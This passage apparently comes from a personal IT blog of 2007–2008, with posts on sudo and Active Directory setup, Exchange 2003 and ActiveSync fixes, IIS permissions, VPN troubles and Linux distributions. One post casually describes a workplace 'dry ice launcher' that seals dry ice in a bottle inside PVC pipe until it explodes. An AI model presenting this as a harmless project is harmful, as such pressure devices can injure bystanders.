Step 14) Restart the Machine and login as a domain user.
Note: If you can login at this point everything is working.

Step 15) Configure SUDO
1) First create a group in Active Directory called UnixAdmins and add the names of people whom you want to be able to use sudo to admin the server.
2) Next, add the UnixAdmins group to the /etc/sudoers so these users can use sudo

Code:

%UnixAdmins ALL=(ALL) ALL

Linux(Ubuntu) VPN

2008-01-08T09:39:00.001-06:00

Lately I've been trying to set up a VPN from work to another network using Ubuntu as the server.

First I tried using IPSEC/L2TP since it is more secure than PPTP. However, I have not had success with this. The request from my work computer gets through both firewalls, but Ubuntu does not accept the connection. The connection doesn't even attempt to authenticate with the server.

So after messing around with the settings for a while, I decided to try PPTP instead. I successfully connected with that, but could not browse the remote network or use the Internet through that connection.

I am going to continue to try, and hopefully I will find some suggestions on how to get it to work properly.

Exchange 2003 8004FFFF Installation Error

2007-11-01T10:28:00.001-05:00

While I was installing Exchange 2003 into a test environment an error came up that read: "Setup failed while installing sub-component Microsoft exchange Server-Level Objects with error code 0x08004FFFF." This error came up a few so I decided to post the fix.

I searched and found the fix at this link: http://www.winserverkb.com/Uwe/Forum.aspx/exchange-setup/10697/Setup-failed-while-installing-sub-component-Microsoft-exchange

Below is the Errors produced in the installation file.

[10:08:43] ScInitPasskeys failed with sc = 8004ffff, dwStatus = 4
[10:08:43] CAtomServer::ScMaintainServerKeys(f:\titanium\admin\src\udog\exsetdata\components\server\a_server.cxx:2427) Error code 0X8004FFFF (65535): An unknown error has occurred.
[10:08:43] Leaving CAtomServer::ScMaintainServerKeys
[10:08:43] CAtomServer::ScAddDSObjects (f:\titanium\admin\src\udog\exsetdata\components\server\a_server.cxx:409) Error code 0X8004FFFF (65535): An unknown error has occurred.
[10:08:43] CBaseAtom::ScAdd (f:\titanium\admin\src\udog\setupbase\basecomp\baseatom.cxx:939) Error code 0X8004FFFF (65535): An unknown error has occurred.
[10:08:43] Service = '' CBaseServiceAtom::ScAdd (f:\titanium\admin\src\udog\setupbase\basecomp\basesvcatom.cxx:210) Error code 0X8004FFFF (65535): An unknown error has occurred.
[10:08:43] Leaving CBaseServiceAtom(Microsoft Exchange Server-Level Objects)::ScAdd
[10:08:43] CAtomServer::ScAdd (f:\titanium\admin\src\udog\exsetdata\components\server\a_server.cxx:141) Error code 0X8004FFFF (65535): An unknown error has occurred.
[10:08:43] Leaving CAtomServer::ScAdd
[10:08:43] mode = 'Install' (61953) CBaseAtom::ScSetup (f:\titanium\admin\src\udog\setupbase\basecomp\baseatom.cxx:842) Error code 0X8004FFFF (65535): An unknown error has occurred.

To Fix this This is what I did:
- Browsed to the "Documents and Settings\All Users\ApplicationData\Microsoft\Crypto\RSA\MachineKeys" folder
- Add the following permissions Administrators (Read & Execute, Read) andSYSTEM (Full Control) to the MachineKeys folder
-Then removed the NETWORK SERVICE
- After that I clicked retry on the installation and it worked perfectly.

ASP 2.0 and IIS 6

2007-10-18T07:13:00.001-05:00

I was setting up some test servers yesterday to test and upgrade from exchange 2003 to 2007. I have been setting up the configuration the same as our production environment. Well, when I got to setting up the web pages I was having a little bit of trouble getting the ASP 2.0 plugin to work.

I had made sure I installed the .net framework 2.0, then added the plugin, but to no avail I couldn't get it to work. Finally in messing around I found an error code saying it didn't have access to the \WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files folder for the network service. So I added modify permisions for the NETWORK SERVICE and the IIS_WPG group. After adding those permissions to the folder it worked like a charm!

Exchange 2003 ActiveSync

2007-10-16T13:24:00.002-05:00

This past year my company purchased new Windows mobile phones and so I was in charge of configuring all the phones to use the Exchange push email feature called ActiveSync. We have exchange server, active directory, and the webserver all installed on one box. It took me a lot of hours to work out all of the bugs but finally got everything working.

I had two problems. First was the security certificate error 80072f06. Since we are a small business and had no need to puchase a certified certificate, I created one with Certificate services in Windows Server 2003. Certificate Services can be installed through the add/remove progams. I then I found a program from Microsoft, I can't remember, that installs security certificates on mobile phones (Some phones don't need the program to install the certificate). Second, I had all those different roles installed onto one server, and server 2003 didn't like that. The error code with that is 85010014.

Following is a step by step on how I got everything to work.

To Create a certificate do the following:

- The first part includes requesting a certificate through IIS Manager

1. On the server open IIS Manager.
2. Expand the Web Sites Folder and right click on Default Web Site or the name of your website and select properties.
3. Under the Directory Security tab, click Server Certificate in the Secure communications section.
4. In the IIS Certificate Wizard Click next and select Create a new certificate.
5. Select Prepare the request now, but send it later and click next.
6. In the Name box put the name of the website and click next. For example mine is like companyabc.net.
7. Fill in your Organization info and click next.
8. The Common name should be the same name you entered in step 6.
9. Fill in your Geographical Info and select next.
10. Remember where you save the file, it does not matter what you name it, and finish the wizard.

- Next we need to use Microsoft Certificate Services to Create the certificate.

11. Open the cert server. website. Example: http://servername/certsrv
12. Select "Request a certificate".
13. Select "Advanced certificate request".
14. Select "Submit a certificate request by using a base-64-encoded...."
15. Browse for your certificate file you created in step 10, insert it, and select submit.
16. Next, select Download certificate with DER encoded selected.

- Next we go back to IIS Manager to finish processing the certificate request

17. Follow steps 1 through 3 agian to get back to the Certificate Wizard.
18. Select "Process the pending request and install the certificate". Click next.
19. Browse to the .cer file that was created in steps 11 through 16. Click next.
20. Enter the SSL port, 443 is default and finish the wizard.

- Next I had to install the certificate on all the mobile phone under the root certs.

21. Follow this link for instructions on Installing Certificates on your mobile phones:
http://support.microsoft.com/kb/915840

- After the Certificate Error I kept getting the error 85010014 To fix this, follow the next step.

22. Complete the steps under method 2 of this article: http://support.microsoft.com/kb/817379/en-us

Thats it! Once I did that everything worked perfectly under SSL. Also if you are still having errors check to make sure the security settings are set correctly under your different websites. Some should require SSL and other don't. If you have any questions feel free to reply to this post.

Dry Ice Launcher

2007-10-08T23:23:00.001-05:00

This is an "unofficial" work dry ice launcher made at work... I work with a bunch of engineers so you've got to expect us to do stuff like this. It's not to hard to make. We just got to got some pcb pipe big enough to fit two water bottles inside, one holding the dry ice and the other just full of water or something. We put the dry ice bottle on the bottom and when it goes boom, the top bottle shoots some 200 ft in the air! Warning, don't try this at home :)

Linux Distributions

2007-10-02T13:03:00.001-05:00

I've been trying out a couple of different versions of Linux on my spare time. I have a dell Inspiron 600m that has its own problems so I decided to use it as my testing computer. So far I've tried three different versions, Ubuntu, Kubuntu, and Fedora. Ubuntu and Kubuntu are pretty much the same except for the GUI. I had a copy of Ubuntu Edgy and the wireless support is not very good, or at least I couldn't connect to a WPA security enabled network. So I upgraded to feisty and still had problems, though feisty is supposed to support WPA. I recommend installing Feisty from scratch and then the wireless will work properly.

I did not like Fedora as much as Ubuntu, probably because I'm biased since Ubuntu is the first Linux distribution that I've used. I installed a couple of different versions of Fedora on the laptop; the wireless has the WPA option, but you had to set it permanently and was not as easy to switch networks.

So if you are going to connect to secure wireless networks, and don't want a lot of problems and want the OS to just work when installed, I would recommend the newest version of Ubuntu or Kubuntu which worked great for me, with the exception of upgrading from an older version.

Besides the wireless, each distribution recognized all of my hardware and set my screen resolution properly, which I've had problems with in the past especially on 24 inch monitors. I will tell you I'm still learning Linux so I'm not real experienced with it. Hopefully I will learn a lot more as I go.

First Post

2007-09-27T09:21:00.001-05:00

Hello anyone that reads this! This is my first blog so I've been trying to think of what to put on here. I think most of it will be computer related, and I will probably post a lot Vista fixes since I'm working on installing it on all the computers where I work. Who knows what will come up! Anyhow, thanks for visiting!